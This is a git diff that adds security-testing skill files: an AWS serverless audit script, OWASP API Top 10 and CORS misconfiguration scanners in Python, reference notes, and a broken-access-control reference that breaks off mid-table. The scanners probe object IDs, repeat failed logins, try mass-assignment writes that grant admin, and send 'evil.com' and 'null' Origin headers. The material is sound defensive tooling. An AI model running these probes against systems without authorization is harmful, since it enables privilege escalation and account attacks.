+ print(f"[*] {len(findings)} shared roles found") + return findings + + +def check_reserved_concurrency(region="us-east-1"): + """Check if functions have reserved concurrency set to prevent resource exhaustion.""" + lam = boto3.client("lambda", region_name=region) + no_concurrency = [] + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for f in page["Functions"]: + try: + conc = lam.get_function_concurrency(FunctionName=f["FunctionName"]) + reserved = conc.get("ReservedConcurrentExecutions") + if reserved is None: + no_concurrency.append(f["FunctionName"]) + except Exception: + no_concurrency.append(f["FunctionName"]) + if no_concurrency: + print(f"\n[*] {len(no_concurrency)} functions without reserved concurrency") + return no_concurrency + + +def full_audit(region="us-east-1", output_path="serverless_audit.json"): + """Run comprehensive serverless security audit.""" + print("[*] Starting serverless security audit...\n") + report = { + "audit_date": datetime.now().isoformat(), + "region": region, + "functions": list_functions(region), + "unauthenticated_urls": check_function_urls(region), + "env_secrets": check_env_variables(region), + "shared_roles": check_shared_roles(region), + "no_concurrency_limit": check_reserved_concurrency(region), + } + total_findings = (len(report["unauthenticated_urls"]) + len(report["env_secrets"]) + + len(report["shared_roles"])) + report["total_findings"] = total_findings + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Audit complete: {total_findings} findings") + print(f"[*] Report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="Serverless Function Security Agent") + parser.add_argument("action", choices=["list", "urls", "env-secrets", "shared-roles", + "concurrency", "full-audit"]) + parser.add_argument("--region", default="us-east-1") + parser.add_argument("-o", "--output", default="serverless_audit.json") + args = parser.parse_args() + + if args.action == "list": + list_functions(args.region) + elif args.action == "urls": + check_function_urls(args.region) + elif args.action == "env-secrets": + check_env_variables(args.region) + elif args.action == "shared-roles": + check_shared_roles(args.region) + elif args.action == "concurrency": + check_reserved_concurrency(args.region) + elif args.action == "full-audit": + full_audit(args.region, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-android-intents-for-vulnerabilities/LICENSE b/skills/testing-android-intents-for-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-android-intents-for-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-api-authentication-weaknesses/LICENSE b/skills/testing-api-authentication-weaknesses/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-api-authentication-weaknesses/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-api-for-broken-object-level-authorization/LICENSE b/skills/testing-api-for-broken-object-level-authorization/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-api-for-broken-object-level-authorization/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-api-for-mass-assignment-vulnerability/LICENSE b/skills/testing-api-for-mass-assignment-vulnerability/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-api-for-mass-assignment-vulnerability/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-api-security-with-owasp-top-10/LICENSE b/skills/testing-api-security-with-owasp-top-10/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-api-security-with-owasp-top-10/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-api-security-with-owasp-top-10/references/api-reference.md b/skills/testing-api-security-with-owasp-top-10/references/api-reference.md new file mode 100644 index 00000000..a71d5409 --- /dev/null +++ b/skills/testing-api-security-with-owasp-top-10/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Testing API Security with OWASP Top 10 + +## requests Library + +### Installation +```bash +pip install requests +``` + +### Key Methods +| Method | Description | +|--------|-------------| +| `requests.get(url, headers=, params=, timeout=)` | Send GET request | +| `requests.post(url, json=, headers=, timeout=)` | Send POST request | +| `requests.put(url, json=, headers=)` | Send PUT request | +| `requests.patch(url, json=, headers=)` | Send PATCH request | +| `requests.delete(url, headers=)` | Send DELETE request | +| `requests.options(url, headers=)` | Send OPTIONS preflight | + +### Response Object +| Attribute | Description | +|-----------|-------------| +| `resp.status_code` | HTTP status code (200, 401, 403, 429) | +| `resp.headers` | Response headers dict | +| `resp.json()` | Parse response body as JSON | +| `resp.text` | Response body as string | +| `resp.elapsed` | Response time as timedelta | + +## OWASP API Security Top 10 (2023) +| ID | Risk | Test Approach | +|----|------|---------------| +| API1 | Broken Object Level Auth | Iterate object IDs with another user's token | +| API2 | Broken Authentication | Brute-force login, test JWT weaknesses | +| API3 | Broken Object Property Level Auth | Check excessive data + mass assignment | +| API4 | Unrestricted Resource Consumption | Test pagination limits, rate limiting | +| API5 | Broken Function Level Auth | Access admin endpoints as regular user | +| API6 | Unrestricted Access to Sensitive Flows | Abuse OTP, reset, registration flows | +| API7 | Server-Side Request Forgery | Inject internal URLs in URL parameters | +| API8 | Security Misconfiguration | Check headers, CORS, error verbosity | +| API9 | Improper Inventory Management | Find deprecated API versions | +| API10 | Unsafe Consumption of APIs | Test trust boundaries with third-party data | + +## Security Header Checks +| Header | Expected Value | +|--------|---------------| +| `Strict-Transport-Security` | `max-age=31536000; includeSubDomains` | +| `X-Content-Type-Options` | `nosniff` | +| `X-Frame-Options` | `DENY` or `SAMEORIGIN` | +| `Content-Security-Policy` | Restrictive policy | + +## References +- OWASP API Security Top 10: https://owasp.org/API-Security/ +- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/ +- requests docs: https://docs.python-requests.org/ diff --git a/skills/testing-api-security-with-owasp-top-10/scripts/agent.py b/skills/testing-api-security-with-owasp-top-10/scripts/agent.py new file mode 100644 index 00000000..89a2bcfd --- /dev/null +++ b/skills/testing-api-security-with-owasp-top-10/scripts/agent.py @@ -0,0 +1,223 @@ +#!/usr/bin/env python3 +"""Agent for automated API security testing against OWASP API Security Top 10.""" + +import requests +import json +import sys +import argparse +import urllib3 +from datetime import datetime +from urllib.parse import urljoin + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +def test_bola(base_url, token, endpoints, id_range=(1, 20)): + """Test for Broken Object Level Authorization (API1).""" + print("\n[*] Testing API1: Broken Object Level Authorization (BOLA)...") + findings = [] + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + for endpoint in endpoints: + for obj_id in range(id_range[0], id_range[1]): + url = urljoin(base_url, endpoint.replace("{id}", str(obj_id))) + try: + resp = requests.get(url, headers=headers, timeout=10, verify=False) + if resp.status_code == 200 and len(resp.text) > 50: + findings.append({ + "risk": "API1-BOLA", "url": url, "status": resp.status_code, + "body_length": len(resp.text), "severity": "CRITICAL", + }) + print(f" [!] VULNERABLE: GET {url} -> {resp.status_code} ({len(resp.text)} bytes)") + except requests.RequestException: + continue + return findings + + +def test_broken_auth(base_url, login_endpoint="/api/v1/auth/login", attempts=50): + """Test for Broken Authentication (API2) - rate limiting on login.""" + print("\n[*] Testing API2: Broken Authentication (rate limiting)...") + url = urljoin(base_url, login_endpoint) + findings = [] + rate_limited = False + for i in range(1, attempts + 1): + try: + resp = requests.post(url, json={"email": "test@test.com", "password": f"wrong{i}"}, + timeout=10, verify=False) + if resp.status_code == 429: + print(f" [+] Rate limited at attempt {i}") + rate_limited = True + break + except requests.RequestException: + break + if not rate_limited: + findings.append({ + "risk": "API2-BROKEN_AUTH", "url": url, "severity": "HIGH", + "detail": f"No rate limiting after {attempts} failed login attempts", + }) + print(f" [!] No rate limiting after {attempts} attempts") + return findings + + +def test_data_exposure(base_url, token, endpoints): + """Test for Broken Object Property Level Authorization (API3).""" + print("\n[*] Testing API3: Excessive Data Exposure...") + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + sensitive_fields = ["password", "password_hash", "ssn", "credit_card", "secret", + "api_key", "token", "internal_id", "salt"] + findings = [] + for endpoint in endpoints: + url = urljoin(base_url, endpoint) + try: + resp = requests.get(url, headers=headers, timeout=10, verify=False) + if resp.status_code == 200: + try: + data = resp.json() + data_str = json.dumps(data).lower() + exposed = [f for f in sensitive_fields if f in data_str] + if exposed: + findings.append({ + "risk": "API3-DATA_EXPOSURE", "url": url, + "exposed_fields": exposed, "severity": "HIGH", + }) + print(f" [!] {url}: Exposes {exposed}") + except json.JSONDecodeError: + pass + except requests.RequestException: + continue + return findings + + +def test_mass_assignment(base_url, token, endpoint, payload_extras): + """Test for mass assignment vulnerabilities.""" + print("\n[*] Testing API3: Mass Assignment...") + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + url = urljoin(base_url, endpoint) + findings = [] + for field, value in payload_extras.items(): + try: + resp = requests.patch(url, headers=headers, json={field: value}, + timeout=10, verify=False) + if resp.status_code in (200, 201): + resp_data = resp.json() if resp.text else {} + if str(value) in json.dumps(resp_data): + findings.append({ + "risk": "API3-MASS_ASSIGNMENT", "url": url, + "field": field, "value": value, "severity": "CRITICAL", + }) + print(f" [!] VULNERABLE: Field '{field}' accepted with value '{value}'") + except requests.RequestException: + continue + return findings + + +def test_security_headers(base_url): + """Test for Security Misconfiguration (API8).""" + print("\n[*] Testing API8: Security Misconfiguration (headers)...") + findings = [] + try: + resp = requests.get(base_url, timeout=10, verify=False) + required_headers = { + "Strict-Transport-Security": "HSTS", + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "clickjacking protection", + "Content-Security-Policy": "CSP", + } + for header, desc in required_headers.items(): + if header.lower() not in {k.lower(): v for k, v in resp.headers.items()}: + findings.append({ + "risk": "API8-MISCONFIGURATION", "header": header, + "detail": f"Missing {desc}", "severity": "MEDIUM", + }) + print(f" [!] Missing: {header} ({desc})") + else: + print(f" [+] Present: {header}") + except requests.RequestException as e: + print(f" [-] Error: {e}") + return findings + + +def test_cors(base_url, endpoints): + """Test CORS configuration on API endpoints.""" + print("\n[*] Testing CORS configuration...") + findings = [] + evil_origins = ["https://evil.com", "null", "http://localhost"] + for endpoint in endpoints[:3]: + url = urljoin(base_url, endpoint) + for origin in evil_origins: + try: + resp = requests.get(url, headers={"Origin": origin}, timeout=10, verify=False) + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + if acao == origin and acac.lower() == "true": + findings.append({ + "risk": "CORS_MISCONFIGURATION", "url": url, + "origin": origin, "severity": "HIGH", + }) + print(f" [!] {url}: Reflects origin '{origin}' with credentials") + except requests.RequestException: + continue + return findings + + +def test_api_versions(base_url, path_prefix="/api"): + """Test for Improper Inventory Management (API9).""" + print("\n[*] Testing API9: Improper Inventory Management...") + findings = [] + versions = ["v0", "v1", "v2", "v3", "v4", "beta", "internal", "admin", "debug"] + for v in versions: + url = urljoin(base_url, f"{path_prefix}/{v}/users") + try: + resp = requests.get(url, timeout=5, verify=False) + if resp.status_code not in (404, 000): + findings.append({"risk": "API9-INVENTORY", "url": url, "status": resp.status_code}) + print(f" [+] {v}: {resp.status_code}") + except requests.RequestException: + continue + return findings + + +def generate_report(all_findings, output_path): + """Generate OWASP API Security assessment report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(all_findings), + "by_severity": {}, + "findings": all_findings, + } + for f in all_findings: + sev = f.get("severity", "INFO") + report["by_severity"][sev] = report["by_severity"].get(sev, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report saved to {output_path}") + print(f"[*] Total findings: {len(all_findings)}") + for sev, count in report["by_severity"].items(): + print(f" {sev}: {count}") + + +def main(): + parser = argparse.ArgumentParser(description="OWASP API Security Top 10 Testing Agent") + parser.add_argument("base_url", help="Base URL of the API (e.g., https://api.target.com)") + parser.add_argument("--token", help="Bearer token for authentication") + parser.add_argument("--endpoints", nargs="+", default=["/api/v1/users/{id}", "/api/v1/orders/{id}"]) + parser.add_argument("--login-endpoint", default="/api/v1/auth/login") + parser.add_argument("-o", "--output", default="api_security_report.json") + args = parser.parse_args() + + print(f"[*] OWASP API Security Top 10 Assessment") + print(f"[*] Target: {args.base_url}") + all_findings = [] + all_findings.extend(test_security_headers(args.base_url)) + all_findings.extend(test_cors(args.base_url, args.endpoints)) + all_findings.extend(test_api_versions(args.base_url)) + all_findings.extend(test_broken_auth(args.base_url, args.login_endpoint)) + if args.token: + all_findings.extend(test_bola(args.base_url, args.token, args.endpoints)) + all_findings.extend(test_data_exposure(args.base_url, args.token, args.endpoints)) + all_findings.extend(test_mass_assignment(args.base_url, args.token, args.endpoints[0], + {"role": "admin", "is_admin": True})) + generate_report(all_findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-cors-misconfiguration/LICENSE b/skills/testing-cors-misconfiguration/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-cors-misconfiguration/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-cors-misconfiguration/references/api-reference.md b/skills/testing-cors-misconfiguration/references/api-reference.md new file mode 100644 index 00000000..6f5fc9b6 --- /dev/null +++ b/skills/testing-cors-misconfiguration/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Testing CORS Misconfiguration + +## requests Library + +### Key Methods for CORS Testing +```python +# Test origin reflection +resp = requests.get(url, headers={"Origin": "https://evil.com"}) + +# Test preflight +resp = requests.options(url, headers={ + "Origin": "https://evil.com", + "Access-Control-Request-Method": "PUT", + "Access-Control-Request-Headers": "Authorization" +}) +``` + +## CORS Response Headers +| Header | Description | +|--------|-------------| +| `Access-Control-Allow-Origin` | Specifies allowed origin(s) | +| `Access-Control-Allow-Credentials` | Whether cookies/auth headers are sent | +| `Access-Control-Allow-Methods` | Allowed HTTP methods for cross-origin | +| `Access-Control-Allow-Headers` | Allowed request headers | +| `Access-Control-Expose-Headers` | Headers accessible to JavaScript | +| `Access-Control-Max-Age` | Preflight cache duration in seconds | + +## Vulnerability Patterns +| Pattern | Severity | Description | +|---------|----------|-------------| +| Origin reflection + credentials | Critical | Any site can read authenticated responses | +| Null origin + credentials | High | Exploitable via sandboxed iframes | +| Wildcard + credentials | Critical | Invalid but sometimes misconfigured | +| Subdomain wildcard trust | Medium | XSS on subdomain enables CORS abuse | +| Regex bypass | High | Prefix/suffix matching allows attacker domains | +| Internal origins trusted | Medium | localhost/10.x accepted in production | + +## Testing Checklist +1. Send `Origin: https://evil.com` - check if reflected in ACAO +2. Send `Origin: null` - check if null is accepted +3. Test subdomain variations of target domain +4. Test prefix/suffix bypass: `target.com.evil.com` +5. Test protocol downgrade: `http://` instead of `https://` +6. Check preflight Max-Age (>86400 is excessive) +7. Verify wildcard `*` is not combined with credentials + +## References +- MDN CORS: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS +- PortSwigger CORS: https://portswigger.net/web-security/cors +- OWASP CORS Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing diff --git a/skills/testing-cors-misconfiguration/scripts/agent.py b/skills/testing-cors-misconfiguration/scripts/agent.py new file mode 100644 index 00000000..7d14a193 --- /dev/null +++ b/skills/testing-cors-misconfiguration/scripts/agent.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python3 +"""Agent for testing CORS misconfiguration vulnerabilities during authorized assessments.""" + +import requests +import json +import sys +import argparse +import urllib3 +from datetime import datetime +from urllib.parse import urlparse + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +EVIL_ORIGINS = [ + "https://evil.com", + "null", + "http://localhost", + "http://localhost:3000", + "http://127.0.0.1", +] + + +def build_dynamic_origins(target_domain): + """Generate domain-specific bypass origins for testing.""" + return [ + f"https://evil.{target_domain}", + f"https://{target_domain}.evil.com", + f"https://evil{target_domain}", + f"http://{target_domain}", + f"https://sub.{target_domain}", + ] + + +def test_origin_reflection(url, origins, cookies=None): + """Test if server reflects arbitrary Origin headers.""" + print(f"\n[*] Testing origin reflection on {url}") + findings = [] + for origin in origins: + try: + headers = {"Origin": origin} + resp = requests.get(url, headers=headers, cookies=cookies, + timeout=10, verify=False) + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + if acao and acao != "": + reflected = acao == origin + creds = acac.lower() == "true" + severity = "CRITICAL" if reflected and creds else ( + "HIGH" if reflected else "INFO") + if reflected: + findings.append({ + "url": url, "origin": origin, "acao": acao, + "credentials": creds, "severity": severity, + }) + cred_str = " + credentials" if creds else "" + print(f" [{'!' if severity != 'INFO' else '+'}] Origin '{origin}' -> " + f"ACAO: {acao}{cred_str} [{severity}]") + except requests.RequestException: + continue + return findings + + +def test_preflight(url, origin="https://evil.com"): + """Test OPTIONS preflight request handling.""" + print(f"\n[*] Testing preflight (OPTIONS) on {url}") + findings = [] + methods_to_test = ["GET", "POST", "PUT", "DELETE", "PATCH"] + for method in methods_to_test: + try: + headers = { + "Origin": origin, + "Access-Control-Request-Method": method, + "Access-Control-Request-Headers": "Authorization, Content-Type", + } + resp = requests.options(url, headers=headers, timeout=10, verify=False) + acam = resp.headers.get("Access-Control-Allow-Methods", "") + acah = resp.headers.get("Access-Control-Allow-Headers", "") + max_age = resp.headers.get("Access-Control-Max-Age", "") + if method in acam: + print(f" [+] {method} allowed in preflight") + if max_age and int(max_age) > 86400: + findings.append({ + "url": url, "issue": "excessive_max_age", + "max_age": max_age, "severity": "MEDIUM", + }) + print(f" [!] Max-Age too long: {max_age}s (>86400)") + except requests.RequestException: + continue + return findings + + +def test_wildcard_with_credentials(url): + """Test for wildcard CORS with credentials (invalid but sometimes misconfigured).""" + print(f"\n[*] Testing wildcard + credentials on {url}") + try: + resp = requests.get(url, headers={"Origin": "https://any.com"}, + timeout=10, verify=False) + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + if acao == "*" and acac.lower() == "true": + print(f" [!] CRITICAL: Wildcard (*) with credentials=true") + return [{"url": url, "issue": "wildcard_with_credentials", "severity": "CRITICAL"}] + elif acao == "*": + print(f" [+] Wildcard (*) without credentials (acceptable for public APIs)") + except requests.RequestException: + pass + return [] + + +def test_null_origin(url, cookies=None): + """Test if null Origin is accepted (exploitable via sandboxed iframes).""" + print(f"\n[*] Testing null origin on {url}") + try: + resp = requests.get(url, headers={"Origin": "null"}, cookies=cookies, + timeout=10, verify=False) + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + if acao == "null": + creds = acac.lower() == "true" + severity = "HIGH" if creds else "MEDIUM" + print(f" [!] Null origin accepted (credentials: {creds}) [{severity}]") + return [{"url": url, "issue": "null_origin_accepted", + "credentials": creds, "severity": severity}] + else: + print(f" [+] Null origin not reflected") + except requests.RequestException: + pass + return [] + + +def test_internal_origins(url, cookies=None): + """Test if internal/development origins are trusted.""" + print(f"\n[*] Testing internal origins on {url}") + internal = [ + "http://localhost", "http://localhost:3000", "http://localhost:8080", + "http://127.0.0.1", "http://10.0.0.1", "http://192.168.1.1", + ] + findings = [] + for origin in internal: + try: + resp = requests.get(url, headers={"Origin": origin}, cookies=cookies, + timeout=10, verify=False) + acao = resp.headers.get("Access-Control-Allow-Origin", "") + if acao == origin: + findings.append({"url": url, "origin": origin, "severity": "MEDIUM"}) + print(f" [!] Internal origin accepted: {origin}") + except requests.RequestException: + continue + return findings + + +def scan_endpoints(base_url, endpoints, token=None): + """Scan multiple endpoints for CORS issues.""" + all_findings = [] + cookies = None + headers_auth = {"Authorization": f"Bearer {token}"} if token else {} + domain = urlparse(base_url).netloc + dynamic_origins = build_dynamic_origins(domain) + test_origins = EVIL_ORIGINS + dynamic_origins + + for endpoint in endpoints: + url = f"{base_url.rstrip('/')}/{endpoint.lstrip('/')}" + all_findings.extend(test_origin_reflection(url, test_origins)) + all_findings.extend(test_null_origin(url)) + all_findings.extend(test_wildcard_with_credentials(url)) + all_findings.extend(test_preflight(url)) + all_findings.extend(test_internal_origins(url)) + return all_findings + + +def generate_report(findings, output_path): + """Generate CORS misconfiguration assessment report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(findings), + "by_severity": {}, + "findings": findings, + } + for f in findings: + sev = f.get("severity", "INFO") + report["by_severity"][sev] = report["by_severity"].get(sev, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report saved to {output_path}") + for sev, count in report["by_severity"].items(): + print(f" {sev}: {count}") + + +def main(): + parser = argparse.ArgumentParser(description="CORS Misconfiguration Testing Agent") + parser.add_argument("base_url", help="Base URL of the target") + parser.add_argument("--endpoints", nargs="+", + default=["/api/user/profile", "/api/users", "/api/account"]) + parser.add_argument("--token", help="Bearer token for authenticated testing") + parser.add_argument("-o", "--output", default="cors_report.json") + args = parser.parse_args() + + print(f"[*] CORS Misconfiguration Assessment") + print(f"[*] Target: {args.base_url}") + findings = scan_endpoints(args.base_url, args.endpoints, args.token) + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-for-broken-access-control/LICENSE b/skills/testing-for-broken-access-control/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-for-broken-access-control/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-for-broken-access-control/references/api-reference.md b/skills/testing-for-broken-access-control/references/api-reference.md new file mode 100644 index 00000000..e02939b1 --- /dev/null +++ b/skills/testing-for-broken-access-control/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: Testing for Broken Access Control + +## requests Library + +### Authentication Patterns +```python +# Bearer token authentication +headers = {"Authorization": "Bearer ", "Content-Type": "application/json"} + +# Cookie-based authentication +cookies = {"session": "session_value"} + +# Multiple methods +resp = requests.request("DELETE", url, headers=headers) +``` + +## Test Categories + +### Vertical Privilege Escalation +Test admin endpoints with regular user credentials: +```python +for endpoint in admin_endpoints: + resp = requests.get(url, headers=user_headers) + # 200 = VULNERABLE, 403 = properly restricted +``` + +### Horizontal Privilege Escalation (IDOR) +Access other users' resources: +```python +# Replace {id} with other user's ID +resp = requests.get(f"/api/users/{other_id}/profile", headers=user_headers) +``` + +### HTTP Method Override +```python +override_headers = ["X-HTTP-Method-Override", "X-Method-Override", "X-HTTP-Method"] +``` + +### Mass Assignment Fields +| Field | Description | +|-------|-------------| +| `role` | User role (admin, user) | +| `is_admin` | Boolean admin flag | +| `permissions` | Permission array | +| `access_level` | Numeric access level | +| `user_type` | User type classification | + +## Response Status Interpretation +| Status | Meaning | +|--------|---------| +| 200/201 | Access granted (potential vulnerability if unexpected) | +| 401 | Not authenticated | +| 403 | Authenticated but not authorized (correct behavior) | +| 404 | Resource not found (may hide from unauthorized users) 